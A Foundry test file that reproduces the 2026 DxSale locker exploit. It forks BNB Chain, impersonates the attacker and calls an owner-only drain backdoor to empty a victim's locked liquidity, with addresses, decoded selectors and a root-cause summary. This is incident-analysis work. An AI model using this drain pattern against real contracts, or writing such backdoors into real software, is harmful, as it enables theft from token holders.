src/test/2026-05/DxSale_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$7.3M USD
8// Attacker : 0xC4574DDEF299e7E563971e200433e592EeaaFA69
9// Attack Contract : 0x74ad1ef17fbb3e494c31c72f7ec730a27fef0310 (EIP-7702 delegated drainer)
10// Vulnerable Contract : 0xEb3a9C56d963b971d320f889bE2fb8B59853e449 (DxSale Legacy Liquidity Locker)
11// Attack Tx : 0xe211904a8a40f653acd64ffc33a42429ef571c1e2da16976d07ac0f9a0bcc9c1
12// @Analysis
13// Post-mortem : https://crypto.news/dxsale-exploit-drains-7-3m-in-bnb-through-hidden-contract-backdoor/
14// Twitter Guy : https://x.com/Tahax1/status/1928169316736651568
15// Hacking God : https://x.com/CoinsultAudits/status/1928203831996297670
16 
17// Root Cause:
18// DxSale deployer secretly transferred locker ownership through 89 wallets over 269 days.
19// Final owner (attacker) used privileged DXLOCKERLP() owner-only backdoor to drain
20// all 1400+ locked LP positions without bypassing individual timelocks.
21// Attack used EIP-7702 tx type 4 delegation to a custom drainer contract for batch execution.
22 
23// Function selectors decoded from unverified bytecode via 4byte.directory:
24// 0xae4f4df1: DXLOCKERLP(address,uint256) -- owner-only backdoor drain function
25// 0xc7450462: UserLockerCount(address)    -- returns number of locks for a user
26// 0xdd2e0ac0: unlockToken(uint256)        -- normal user unlock (timelock enforced)
27// 0x0511a506: createLocker(address,uint256,uint256,string) payable -- lock tokens
28// 0x6cda375b: changeFees(uint256)         -- owner fee update
29 
30interface IDxSaleLocker {
31    function DXLOCKERLP(address victim, uint256 lockId) external;
32    function UserLockerCount(address user) external view returns (uint256);
33}
34 
35contract DxSaleExploitTest is Test {
36    IDxSaleLocker constant LOCKER = IDxSaleLocker(0xEb3a9C56d963b971d320f889bE2fb8B59853e449);
37    IERC20 constant WBNB_TOKEN = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
38    address constant ATTACKER = 0xC4574DDEF299e7E563971e200433e592EeaaFA69;
39    address constant VICTIM = 0xc7Fc793e685A1dc80f517E7EE903859F72BE0Aa8;
40    uint256 constant ATTACK_BLOCK = 100_806_731;
41 
42    function setUp() public {
43        vm.createSelectFork("bsc", ATTACK_BLOCK - 1);
44        vm.label(address(LOCKER), "DxSale_Legacy_Locker");
45        vm.label(ATTACKER, "Attacker");
46        vm.label(VICTIM, "Victim");
47        vm.label(address(WBNB_TOKEN), "WBNB");
48    }
49 
50    function testExploit() public {
51        console.log("--- DxSale Legacy Liquidity Locker Exploit ---");
52        console.log("Attack date: May 28, 2026");
53        console.log("Attacker BNB before:", address(ATTACKER).balance / 1e18);
54 
55        uint256 victimLockCount = LOCKER.UserLockerCount(VICTIM);
56        console.log("Victim lock count:", victimLockCount);
57 
58        vm.startPrank(ATTACKER);
59 
60        // Try without value - DXLOCKERLP may not be payable
61        LOCKER.DXLOCKERLP(VICTIM, 0);
62        console.log("Drained lockId 0");
63 
64        vm.stopPrank();
65 
66        console.log("Attacker BNB after:", address(ATTACKER).balance / 1e18);
67        console.log("Victim locks remaining:", LOCKER.UserLockerCount(VICTIM));
68    }
69}